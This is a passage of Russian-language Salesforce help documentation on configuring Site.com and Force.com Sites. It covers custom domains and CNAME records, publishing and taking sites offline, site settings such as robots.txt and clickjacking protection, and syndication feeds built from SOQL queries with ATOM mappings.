записямипоставщика DNS. Данное значениедолжнобытьобновлено занесколько
дней до активации, так как новое значение вступает в силу только по истечении
текущего оставшегося времени.

1. Откройте параметры управления учетными записями поставщика DNS и создайте
запись TXT, содержащую код организации. Чтобы скопировать код организации,
откройтеSite.com Studioищелкните«Конфигурациясайта» > «Домены»навкладке
«Общие сведения».

Чтобывоспользоватьсяпомощьюприсозданиизаписи TXT, обратитеськпоставщику
DNS.

2. Если запись TXT доступна в Интернете, введите имя домена в текстовое поле
представления «Домены» (например, www.moyakompaniya.ru) инажмитекнопку
«Добавить».

3. При необходимости повторите указанные выше действия для других имен домена.
Например, системапозволяет указатьименадомена, содержащиетипичныеошибки,
допускаемые пользователями при вводе.

Разрешается добавлять не более 10 имен домена.

4. Опубликуйте готовый сайт Site.com. Обратите внимание, что опубликованный сайт
еще не готов к использованию.
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5. Чтобы активировать сайт, откройте параметры управления учетными записями DNS и выполните указанные ниже
действия.

a. Создайте запись CNAME, соответствующую перечисленным ниже критериям. Записи CNAME должны содержать
имядомена, 18-значныйкодорганизацииисуффикс live.siteforce.com. Например, прииспользованииименидомена
www.moyakompaniya.ru и кода организации 00dx00000000001aaa запись CNAME должна выглядеть следующим
образом: www.moyakompaniya.ru.00dx00000000001aaa.live.siteforce.com. Чтобы найти код
организации, воспользуйтесь страницей нового домена в разделе «Управление доменами» меню «Настройка».

b. Удалите устаревшую запись А и запись TXT, созданную в действии 1.

СМ. ТАКЖЕ:

Добавление доменов посредством записей CNAME в Site.com

Управление доменами в Site.com

Публикация и управление действующими сайтами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Страницы и активы сайта, опубликованного в Site.com, доступны посетителям вИнтернете.

Прежде чем впервые опубликовать сайт, рекомендуем указать сведения о домене сайта.
В противном случае настройка домена будет выполнена во время публикации.После
настройки домена сайт может быть опубликован полностью или частично.

Ниже перечислены действия, доступные при использовании сайта.

• Публикация изменений на сайте.

• Просмотр журнала изменений путем последовательного выбора пунктов  >
«Просмотр сведений» на вкладке «Общие сведения».

• Перевод сайта в автономный режим для отмены общего доступа.

Прим.: Сайт не может быть опубликован из безопасной среды.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве администратора сайта или конструктора
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Публикация изменений на сайте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Страницы и активы сайта, опубликованного в Site.com, доступны посетителям вИнтернете.

Прежде чем впервые опубликовать сайт, рекомендуем указать сведения о домене сайта.
В противном случае настройка домена будет выполнена во время публикации.

Сайт может быть опубликован полностью или частично.

1. Нажмите кнопку «Опубликовать изменения...».

2. Чтобы опубликовать:

• все недавние изменения, установите флажок «Изменения на сайте».

• отдельные элементы, установите флажок «Только выбранные элементы» и
выберите соответствующие элементы.

Прим.: При выборе элемента также выбираются его зависимости (при их
наличии). Например, привыборе страницы, измененнойпользователемнаряду
со связанной таблицей стилей, также выбирается таблица стилей. Чтобы
просмотреть список зависимостей, щелкните «Просмотр». Элемент, выбор
которого не может быть отменен, является критической зависимостью для
другого выбранного элемента.

3. Нажмите кнопку «Далее» и просмотрите список элементов для публикации.

4. Нажмитекнопку «Далее»ипринеобходимостидобавьтепримечаниекпубликации.
Примечание отображается в столбце «Описание» представления «Журнал
изменений».

5. Нажмите кнопку «Опубликовать».

Уведомление о публикации изменений, внесенных на сайт, будет отправлено по эл.
почте.

Прим.: Сайт не может быть опубликован из безопасной среды.

СМ. ТАКЖЕ:

Публикация и управление действующими сайтами

Перевод сайта в автономный режим
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Перевод сайта в автономный режим

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

1. Щелкните «Конфигурация сайта» > «Домены» на вкладке «Общие сведения».

2. Удалите все перечисленные домены.
При удалении последнего домена сайт автоматически переходит в автономный
режим. Приоткрытии сайта будет отображаться сообщение «Серверненайден» или
другое аналогичное сообщение обозревателя.

3. Ниже перечислены действия, доступные во всплывающем окне.

• Чтобы отменить публикацию сайта, нажмите кнопку «OK». Отмена публикации
сайтаинициируетсозданиесвязаннойлицензии «ОпубликованныйсайтSite.com»,
которая может использоваться для публикации другого сайта.

• Чтобыотменить созданиелицензии «Опубликованныйсайт Site.com» (например,
для последующей повторной публикации сайта), нажмите кнопку «Отмена».

Чтобы создать лицензию после нажатия кнопки «Отмена», нажмите кнопку
«Отменить публикацию» на вкладке «Общие сведения». После отмены
публикации сайта кнопка «Отменить публикацию» заменяется кнопкой
«Опубликовать».

4. Чтобыпредотвратитьповторноеиспользованиедоменав Site.com, удалитевсе записи
CNAME, указывающие на имя_домена.кодОрганизации.live.siteforce.com в
параметрах управления учетными записями поставщика DNS.

Сайт, публикация которого отменена, может быть удален из списка сайтов на вкладке
Site.com.

СМ. ТАКЖЕ:

Управление доменами в Site.com

Публикация изменений на сайте

Force.com Sites

Общие сведения о Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ОрганизацииSalesforceсодержатценнуюинформациюопартнерах, решениях, продуктах,
пользователях, идеях, а также другие бизнес-данные. Некоторые данные могут быть
полезны внешним пользователям организации, но могут просматриваться и
использоваться только при наличии соответствующего уровня доступа и полномочий.
Раньшеобщийдоступкданнымпредоставлялсяпутемнастройкивеб-сервера, создания
настраиваемых веб-страниц (JSP, PHP или другое) и выполнения интеграции API между
сайтом и организацией. А, веб-формы могли использоваться для сбора данных только
на страницах, поддерживающих проверку данных.

Сайты Force.com позволяют исключить необходимость выполнения всех данных
действий. Force.com Sites позволяет создавать общедоступные веб-сайты и приложения,
которые напрямую интегрированы в организацию Salesforce. При этом пользователям
не требуется указывать имя и пароль для входа.Любые данные, хранящиеся в организации, могут быть опубликованы
посредством выбранного фирменного URL-адреса. А, страницы сайта могут быть оформлены в фирменном стиле
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компании.Сайтыразмещаютсяна серверах Force.com, поэтомуинтеграция данных выполняется без ошибок. Кроме того,
сайты создаются на основе собственных страниц Visualforce, поэтому проверка собранных данных выполняется
автоматически. Кроме того, пользователи могут регистрироваться и выполнять беспрепятственный вход на связанный
портал посредством общедоступного сайта.

Прим.: Компонент Force.com Sites регулируется дополнительными условиями использования.

ДополнительнуюинформациюоSite.com (системауправлениявеб-содержимым, обеспечивающаябыстроесоздание
динамических веб-страницпод управлением данныхи редактирование содержимого в режиме реального времени)
см. в разделе «Общие сведения о Site.com» на странице 5061.

Ниже приведены примеры использования сайтов.

• Создание сайта идей: рекомендуем использовать сайты для размещения общедоступного форума сообщества,
предназначенногодляобменаидеямиокомпании, услугахилипродуктахиучастияв голосованиях. Сайтыпозволяют
предоставлять общий доступ к веб-сайтам идей.

• Публикация вопросов и ответов по поддержке: рекомендуем разместить полезнуюинформациюна общедоступном
веб-сайте, поддерживающем поиск по решениям возникших проблем.

• Создание инструмента для определения местонахождения ближайшей торговой точки: рекомендуем добавить на
портал общедоступный инструмент, позволяющий клиентам находить ближайшие торговые точки своего региона.

• Публикация каталога сотрудников: рекомендуем добавить каталог сотрудников во внутрикорпоративную сеть путем
создания сайта, ограниченного диапазоном IP-адресов.

• Создание веб-сайта по подбору кадров: рекомендуем опубликовать открытые вакансии на общедоступный сайт и
разрешить посетителям интерактивную отправку резюме и заявок.

• Публикация каталога продуктов: рекомендуем опубликовать все продукты компании на общедоступный веб-сайт, а
также добавитьномерамоделей, текущиеценыиизображенияпродуктов, извлекаемыеиз организациидинамически.

Сайты Force.com напрямую обслуживаются организацией Salesforce, поэтому доступность каждого сайта определяется
доступностьюорганизации. Сайтынедоступнывовремяплановогообслуживанияорганизацииприобновленииосновных
выпусков; припопыткедоступаксайтуотображаетсяфирменнаястраницаForce.com «Наобслуживании» илинастраиваемая
страница «Служба недоступна». Рекомендуем заранее уведомлять пользователей о времени планового обслуживания и
недоступностисвязанныхсайтов. Чтобыпросмотретьвремяобслуживаниякаждогоэкземпляра, воспользуйтесьвеб-узлом
trust.salesforce.com/trust/status/#maint.

Домен Force.com

Чтобы определить URL-адрес каждого сайта, рекомендуем задать имя домена сайта. Воспользуйтесь одним из указанных
ниже способов.

• Выберите собственноеимядомена Force.com, состоящееиз уникального префикса субдоменаикомпонента force.com.
Например, при выборе префикса субдомена moyakompaniya имя домена выглядит следующим образом:
http://moyakompaniya.force.com. Имя чувствительно к регистру.

Прим.: Собственное имя домена Force.com используется всеми сайтами, созданными компанией. Например,
компания может создать один общедоступный сайт для партнеров, второй — для разработчиков и третий —
дляслужбыподдержки. Прииспользованиидоменакомпании http://moyakompaniya.force.com данным
трем сайтам могут соответствовать следующие UR-адреса:

– http://moyakompaniya.force.com/partners

– http://moyakompaniya.force.com/developers

– http://moyakompaniya.force.com/support
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• Чтобы создать фирменный настраиваемый веб-адрес (например, http://www.ideimoeikompanii.com),
воспользуйтесь регистратором доменных имен. Чтобы перенаправлять фирменные домены и субдомены на домен
Force.com без использования имени force.com в URL-адресе, создайте записи CNAME. Создание домена Force.com в
Интернете может занять до 48 часов.Настраиваемые веб-адреса не поддерживаются безопасными организациями и
организациями Developer Edition.

Прим.: Формат безопасных URL-адресов для сайтов Force.com определяется типом организации или используемой
версией. Уникальный префикс субдомена указывается первым и дополняется версией или типом среды, именем
экземпляра и индексом force.com. Ниже приведены примеры, где «mycompany» — это префикс субдомена,
«mysandbox» — это имя безопасной среды, «na1» — это имя экземпляра и «cs1» — это имя экземпляра безопасной
среды.

Безопасный URL-адресТип организации

https://mycompany-developer-edition.na1.force.comDeveloper Edition

https://mysandbox-mycompany.cs1.force.comБезопасная среда

https://mycompany.secure.force.comПроизводственная среда

Префикссубдоменадля Developer Edition может содержатьнеболее 22 символов. Безопасный URL-адресотображается
на странице «Параметры входа». URL-адрес чувствителен к регистру.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Управление Force.com Sites

Ограничения и выставление счета для Force.com Sites

Управление Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

ЧтобыначатьиспользоватьForce.com, введитестроку «Сайты» вполе «Быстрый поиск»
в меню «Настройка», затем выберите пункт «Сайты». Ниже перечислены действия,
доступные на данной странице.

• Зарегистрируйте собственный домен Force.com.

• Просмотрите все сайты, размещенные в домене Force.com.

• Чтобы создать сайт, нажмите кнопку «Создать».

• Чтобы изменить текущий сайт, нажмите кнопку «Правка».

• Чтобы изменить статус активности сайта, щелкните «Активировать» или
«Деактивировать».

Внимание: Рекомендуемвнимательновыбиратьданные, которыедолжныбыть
доступны другим пользователям.

• Чтобы просмотреть сведения о сайте, щелкните метку нужного сайта.
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• Чтобы открыть сайт в обозревателе, щелкните URL-адрес нужного сайта.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Создание и редактирование Force.com Sites

Настройка Force.com Sites

Регистрация настраиваемого домена Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Домен Force.comиспользуется всеми сайтами, созданными компанией. Домен Force.com
должен быть выбран даже при регистрациифирменного веб-адреса сайта. Фирменный
URL-адрес перенаправляет на домен Force.com.

Прим.: Записи CNAME должнысодержатьимядомена, 18-значныйкодорганизации
и суффикс live.siteforce.com. Например, при использовании имени домена
www.moyakompaniya.ru и кода организации 00dx00000000001aaa запись CNAME
должна выглядеть следующим образом:
www.moyakompaniya.ru.00dx00000000001aaa.live.siteforce.com.
Чтобынайтикодорганизации, воспользуйтесь страницейновогодомена вразделе
«Управление доменами» меню «Настройка».

Чтобы зарегистрировать домен Force.com, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Введите уникальное имя для домена Force.com. Имя домена Force.com должно быть
уникальным и может содержать только буквы, цифры и дефисы. Имя должно
начинаться с буквы; неможет содержатьпробелов, символовподчеркиванияи точек,
а также не может заканчиваться дефисом. Компания Salesforce рекомендует
использовать название компании или его вариант (например, moyakompaniya).

Внимание: ИмязарегистрированногодоменаForce.comнеможетбытьизменено.

3. Чтобы проверить уникальность введенного имени домена, нажмите кнопку «Проверить доступность». Если имя
домена уже используется, система предлагает указать другое имя.

4. Просмотрите «Условия использования сайтов» и установите соответствующийфлажок.

5. Нажмитекнопку «ЗарегистрироватьмойдоменForce.com». Послепринятияусловийиспользованияирегистрации
домена Force.com изменения, связанные с созданием сайта, отслеживаются контрольным журналом настройки
организации и связанным списком «Журнал сайта». Регистрация может занять до 48 часов.

Прим.: Формат безопасных URL-адресов для сайтов Force.com определяется типом организации или используемой
версией. Уникальный префикс субдомена указывается первым и дополняется версией или типом среды, именем
экземпляра и индексом force.com. Ниже приведены примеры, где «mycompany» — это префикс субдомена,
«mysandbox» — это имя безопасной среды, «na1» — это имя экземпляра и «cs1» — это имя экземпляра безопасной
среды.

Безопасный URL-адресТип организации

https://mycompany-developer-edition.na1.force.comDeveloper Edition
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Безопасный URL-адресТип организации

https://mysandbox-mycompany.cs1.force.comБезопасная среда

https://mycompany.secure.force.comПроизводственная среда

Префикс субдомена для версии «Developer Edition» может содержать не более 22 символов. Безопасный URL-адрес
отображается на странице «Параметры входа». URL-адрес чувствителен к регистру.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Рекомендации по использованию Force.com Sites

Создание сайта Force.com

Настройка Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Для редактирования
параметров общего доступа
для сайтов Force.com:
• «Управление

пользователями»

Force.com Sites позволяет создавать общедоступные веб-сайты и приложения, которые
напрямуюинтегрированыворганизациюSalesforce. Приэтомпользователямнетребуется
указывать имя и пароль для входа.

Чтобы настроить сайт Force.com, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Зарегистрируйте настраиваемый домен Force.com для организации.

3. Создайте и настройте сайт.

4. Разработайте и добавьте страницы Visualforce на сайт, выберите или скройте
стандартные страницы и настройте или замените стандартные страницы ошибок.
Свяжите данные страницы с сайтом.

5. Выберитешаблон сайта. Чтобы найти собственныйшаблон, воспользуйтесь полем
поиска, либо воспользуйтесь любым стандартнымшаблоном.Шаблон сайта
определяет макет страницы и таблицу стилей для сайта, а также переопределяет
любое форматирование, унаследованное от связанного портала.

6. Включите вход или самостоятельную регистрацию и свяжите портал с сайтом.

7. При необходимости измените параметры общего доступа.

8. Чтобыпредоставитьобщийдоступк сайту, щелкните «Активировать»на странице
«Сведения о сайте». Кроме того, сайт может быть активирован на страницах
«Редактирование сайта» и «Сайты».

Ниже перечислены действия, доступные после настройки сайта.

• Запустите отчеты и панели мониторинга на сайте.
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• Создайте бизнес-правила, инициирующие электронные предупреждения при выполнении критериев, связанных с
сайтом.

СМ. ТАКЖЕ:

Управление Force.com Sites

Настройка Force.com Sites

Создание и редактирование Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Чтобы создать сайт Force.com, выполните указанные ниже действия после регистрации
домена Force.com.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Нажмите кнопку «Создать» или ссылку «Правка» для текущего сайта.

3. Заполните поля на странице «Редактирование сайта».

ОписаниеПоле

Имя сайта, отображающееся в пользовательском
интерфейсе.

Метка сайта

Имя, используемое при обращении к сайту в SOAP API.
Данное имя должно быть уникальным и может
содержать только буквы, цифры и символы
подчеркивания. Имя должно начинаться с буквы; не
может содержать пробелов и двух последовательных
символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

Имя сайта

Дополнительное описание сайта.Описание сайта

Пользователь, который должен получать сообщения,
связанные с сайтом, от посетителей сайта и компании
Salesforce.

Контакт для сайта

Уникальный URL-адрес Force.com для данного сайта.
Force.com предоставляет первую часть URL-адреса на

Стандартный веб-адрес

основе зарегистрированного имени домена;
пользователь должен добавить уникальное имя сайта.
Данный URL-адрес используется для доступа к сайту,
если настраиваемый веб-адрес не создан посредством
регистратора доменных имен.

Параметр, позволяющий активировать сайт, готовый
для общего доступа. Кроме того, сайт может быть

Активно

активирован на страницах «Сайты» и «Сведения о
сайте». Если сайт неактивен, то система отображает
страницу, выбранную в поле «Неактивная начальная
страница сайта».
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ОписаниеПоле

Целевая страница, открывающаяся пользователям активного сайта. Чтобы
найти страницу Visualforce, разработанную в качестве начальной страницы

Активная начальная страница сайта

сайта, воспользуйтесь полем поиска. Чтобы протестировать сайт, выберите
страницу UnderConstruction.

Страница IdeasHome предназначена для сайтов идей, а страница
AnswersHome — для сайтов ответов. Внешний вид сайта идей или сайта
ответов наследуется от связанного портала, кроме случаев использования
шаблона сайта.

Если сайт развернут до выпуска Summer'10, то начальная страница
AnswersHome можетбытьнастроенавкачествестандартнойцелевойстраницы
в том случае, если страница Visualforce создана посредством <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>.

Целевая страница, открывающаясяпользователямнеактивного сайта. Чтобы
найтинужнуюстраницу, воспользуйтесьполемпоиска. Например, выберите

Неактивная начальная страница
сайта

страницу, уведомляющую пользователей о разработке или обслуживании
сайта.

Шаблон, определяющиймакетстраницыитаблицустилейдлясайта. Шаблон
сайтапереопределяетлюбоеформатирование, унаследованноеотсвязанного

Шаблон сайта

портала. Чтобы найти собственныйшаблон, воспользуйтесь полем поиска,
либо воспользуйтесь любым стандартнымшаблоном.

Прим.: Шаблонсайта, выбранныйвданномполе, используется только
на страницах Visualforce посредством выражения $Site.Template.

Файл, определяющий части общедоступного сайта, которые могут быть
доступныпоисковымвеб-агентамидругимвеб-роботам. Обычновеб-роботы

Robots.txt сайта

используются поисковыми системами для категоризации и архивирования
веб-сайтов. HTML-теги не поддерживаются, так как не совместимы с
поисковыми агентами robots.txt. Добавьте
contentType="text/plain" в тег <apex:page> на страницах
Visualforce.

Пример запрета индексации всех страниц для всех роботов:

<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: / # Disallow indexing of all pages
</apex:page>

Пример разрешения индексации всех страниц для всех роботов:

<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: # Allow indexing of all pages

</apex:page>
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ОписаниеПоле

Значок, отображающийся в адресном поле обозревателя при посещении
сайта. Данное поле позволяет выбрать избранный значок для всего сайта

Избранный значок сайта

взамен каждой страницы. Ввиду выполнения кэширования, изменения
отображаются на сайте через день после их внесения.

Код отслеживания, связанный с сайтом. Данный код может использоваться
службами (например, Google Analytics) дляотслеживанияданныхпо запросам
страницы сайта.

Код отслеживания аналитики

Класс Apex, который должен использоваться для перезаписи URL-адресов
сайта — от URL-адресов Salesforce до пользовательских URL-адресов. Данный

Класс URL Rewriter

класс позволяет создавать правила для перезаписи запросов URL-адресов
сайта, вводимых в адресную строку, открываемых посредством закладок или
связанных с внешнимивеб-сайтами. Принеобходимости системапозволяет
создавать правила для перезаписи URL-адресов ссылок на страницах сайта.

Параметр, отображающий связанный список «Каналы распределения»,
который позволяет создавать и управлять каналами распределения,

Включить каналы

предназначеннымидляпользователейобщедоступныхсайтов. Данноеполе
отображается только после включения соответствующейфункции.

Ниже перечислены доступные уровни защиты от кликджекинга.Уровень защиты от кликджекинга

• Разрешить кадрирование по любой странице (не защищено)

• Разрешить кадрирование только по одинаковому происхождению
(рекомендуется)

• Запретить кадрирование по любой странице (защищено)

Прим.: Кадрирование по одинаковому происхождению позволяет
кадрироватьстраницысайтатолькопостраницам, которыеиспользуют
такое же имя домена и безопасность по протоколам.

Прим.: Сообщества Salesforce используют два элемента защиты от
кликджекинга: одиндля сайта Force.com Communities, которыйзадается
посредством страницы сведений о сайте Force.com, а второй для сайта
Site.com Communities, который задается посредством страницы
конфигурации Site.com. Рекомендуем задать обоим элементам
одинаковое значение.

При установке данного флажка для сайта Force.com, сайта Site.com, сайта
Force.com сообществ SalesforceилисайтаSite.com сообществ Salesforce запросы,
использующие протокол HTTP, перенаправляются на протокол HTTPS.

Требовать безопасные подключения
(HTTPS)

4. Нажмите кнопку «Сохранить».
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Прим.: Чтобы определить настраиваемые URL-адреса, воспользуйтесь страницей «Управление доменами» в меню
«Настройка».

СМ. ТАКЖЕ:

Настройка Force.com Sites

Настройка Force.com Sites

Методы и выражения Apex, связанные с Force.com Sites

Настройка Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Для редактирования
параметров общего доступа
для сайтов Force.com:
• «Управление

пользователями»

Созданный сайт может быть настроен на странице «Сведения о сайте». Чтобы открыть
эту страницу, введите строку «Сайты» в поле «Быстрый поиск» в меню «Настройка»,
затемвыберитепункт«Сайты»ивыберитеимясайтаизспискасайтов. Нижеперечислены
доступные действия.

• Чтобы изменить сайт, щелкните «Правка».

• Чтобы просмотреть или изменить параметры безопасности, включая полномочия,
макеты страниц и многое другое, щелкните «Параметры общего доступа».

• Чтобынастроитьпараметрывходаирегистрациидля сайта, щелкните «Параметры
входа». Встроенная логика входа и регистрации позволяет пользователям быстро
регистрироваться и беспрепятственно входить на портал посредством
общедоступного сайта.

Прим.: При использовании сайтов сообществ данная ссылка открывает
страницу входа сообществ.

• Чтобы просмотреть любые переадресации, заданные для страниц сайта, щелкните
«Переадресации URL-адресов».

• Чтобы изменить статус активности сайта, щелкните «Активировать» или
«Деактивировать».

Внимание: Рекомендуемвнимательновыбиратьданные, которыедолжныбыть
доступны другим пользователям.

• Чтобы просмотреть сайт в режиме предварительного просмотра в качестве
администратора, щелкните «Предварительный просмотр в качестве
администратора». Режимпредварительногопросмотра в качестве администратора
отображает общиеиподробные сведения об ошибках, обнаруженныхна любых страницах сайта, поэтому позволяет
ускорить процесс устранения неполадок.

Прим.: Данная функция не отображается для организаций сообщества.

• Чтобы выбрать страницы, доступные для сайта, нажмите кнопку «Правка» в связанном списке «Страницы Visualforce
сайта» или «Стандартные страницы сайта». Все страницы, связанные с сайтом, должны быть включены.

• Чтобыназначитьстраницыошибокдлястандартныхошибок (например, «Требуется авторизация (401)» или «Страница
не найдена (404)»), щелкните «Назначение страницы». Пользователь может переопределить или изменить
предоставленные стандартные страницы.

• Чтобы создать канал распределения, нажмите кнопку «Создать» в связанном списке «Каналы». Чтобы просмотреть
данный связанный список, щелкните «Включить каналы» в списке «Сведения о сайте».
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• Чтобыпросмотретьтекущееиспользованиепропускнойспособностиивременизапросанаобслуживание, ежедневные
ограниченияипроцентиспользования, воспользуйтесьсвязаннымсписком «Журналкруглосуточногоиспользования».

• Чтобыпросмотретьизмененияконфигурации, отслеживаемыедлясайта, воспользуйтесьсвязаннымсписком «Журнал
сайта».

СМ. ТАКЖЕ:

Назначение страниц ошибок сайта Force.com

Параметры общего доступа для Force.com Sites

Управление параметрами регистрации и входа на сайтах Force.com

Определение каналов распределения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления определения
канала:
• «Изменение всех

данных»

Для подписки на канал:
• Специальные

полномочия не
требуются

Благодаря каналам распределения, пользователи могут подписываться на изменения,
происходящиена сайтах Force.com, а такжеполучатьобновлениядля внешнихпрограмм
чтения новостей. Чтобы передать конечным пользователям изменения, внесенные в
общедоступные данные, рекомендуем создать запрос SOQL и выполнить соотнесение.
Системапозволяетсоздаватькакминимумодинканалраспределениядляобщедоступных
сайтов или любых страниц Visualforce организации. Канал распределения отображает
записи, определенные запросом SOQL. Пользователи могут подписываться на канал и
просматривать его при посещении сайта или страницы.

Система позволяет определять канал распределения, включая возвращаемые записи и
отображаемые данные.

Имя
Описательное имя данного канала, отличающее его от других созданных каналов.
Разрешается использовать только буквы, цифрыи символы подчеркивания. Строка
может содержать не более одного символа подчеркивания.

Описание
Описание канала. Например, «Личноеимя, фамилияирегиондляпоследнихдесяти
созданных или измененных организаций».

Запрос
Запрос SOQL, определяющийзаписи, которыевозвращаютсявканалраспределения.
Запрос SOQL отличается некоторыми ограничениями, позволяющими повысить
производительность.

• Запрос SOQL, который не поддерживает ограничения, возвращает не более
20 записей.

• Ограничения для запросов не могут превышать 200 результатов. Запрос,
превышающий данное ограничение, возвращает только первые 200 записей.

• Если запрос SOQL не уточняет значение ORDER BY, то записи сортируются по значению LastModifiedDate
или значению SystemModstamp.

• Значение COUNT не поддерживается.

• Сводные запросы не поддерживаются. Например, запрос SOQL для каналов распределения не поддерживает
следующий запрос:

SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account
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• Система позволяет использовать переменные связывания, то есть, переменные, значения которых извлекаются из
URL-адреса. Дополнительнуюинформациюсм. вподразделе «Использованиепеременныхсвязываниядля запросов
и соотнесения» на странице 5294.

Прим.: Преждечемсохранить запрос, платформа Force.comпроверяетполномочияобщегодоступаипараметры
безопасности поля, назначенные пользователю-гостю.

Соотнесение
Каналы распределения используют протокол веб-публикации ATOM, поэтому значение соотнесения должно
соответствовать объектам и полям возвращенных записей с конструкциями ATOM. Обратите внимание, что все
значения должны быть представлены строковыми литералами. Дополнительную информацию об элементах
соотнесения см. в подразделе «Соотнесение объектов ATOM» на странице 5292.

Системапозволяетиспользоватьпеременныесвязывания, тоесть, переменные, значениякоторыхизвлекаютсяиз URL-адреса.
Дополнительнуюинформациюсм. вподразделе «Использованиепеременныхсвязываниядлязапросовисоотнесения»
на странице 5294.

Время хранения кэша (в секундах)
Каналможетодновременноиспользоватьсянесколькимипользователями, поэтомусистемаSalesforce кэшируетданные
каналана 3 600 секунд (поумолчанию). Минимальное значениесоставляет 300 секунд, максимальное — неограничено.
Результатызапроса, срокхранениякоторыхпревышает заданное значение, пропускаются, ановыйзапросвыполняется
при следующем запросе данной информации, то есть, при следующем открытии страницы, содержащей канал, на
который подписан пользователь.

Активно
Данныйфлажокопределяетдоступностьканаладляподсписки. Пользователимогутподписыватьсятольконаактивные
каналы.

Соотнесение объектов ATOM

Рекомендуем задать соотнесение в определении канала распределения. Соотнесение связывает конструкции ATOM
(например, заголовок записи) с соответствующим значением записи (например, «Имя организации»). Полный набор
соотнесенийформирует каналновостей, а запросмоделирует содержимоекаждойновостиканала. Например, «Интересы,
созданные сегодня» или «Контакты с обновленными сведениями об организации».

Элемент канала — это конверт для каждой части новостного материала, а элемент записи — это содержимое конверта.

Кроме того, соотнесение позволяет применять краткие метки к разным полям с целью их отображения.

Таблица ниже содержит все объекты ATOM и элементы объектов, а также примеры допустимых значений.

ОписаниеЭлемент
записи

Элемент
канала

Обязательно только при отсутствии элемента ea  (автор записи). Автор канала.
Например, канал fa:"Acme автор канала администратор Мария" возвращает
автора канала «АдминистраторМария».

fa

Дополнительно (содержитстандартноезначение). Кодканала. Поумолчаниюданное
значение соответствует URL-адресу общедоступного сайта. При вводе значения

fid

рекомендуемиспользоватьдействительныймеждународныйидентификаторресурсов
(IRI). IRI — это обобщенный URL-адрес, разрешающий использованиеЮникода.

Дополнительно (содержит стандартное значение). Ссылка на канал. Например,
fl:"http://www.salesforce.com". Какправило, программычтенияновостей

fl
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ОписаниеЭлемент
записи

Элемент
канала

обрабатывают данный элемент путем связывания заголовка канала с данным
URL-адресом.

Дополнительно. Подзаголовок канала. Например, канал &map=ft:"Новейшие
возможности",fst:"Западное подразделение" возвращает заголовок канала
«Новейшие возможности» и подзаголовок «Западное подразделение».

fst

Обязательно. Заголовок канала. Например, ft:"Новейшие возможности".ft

Обязательно только при отсутствии элемента fa  (автор канала). Автор записи.
Например, ea:"Организация создана: " + Account.CreatedBy .

ea

Обязательно. Содержимое записи. Например, канал ec:"description for "
Имя "<br>" Description возвращаетзначениеполя «Имя» сдополнительным
текстом. Ниже приведен результат канала, используемого в данном примере.

description for Ajax Industries Description

ec

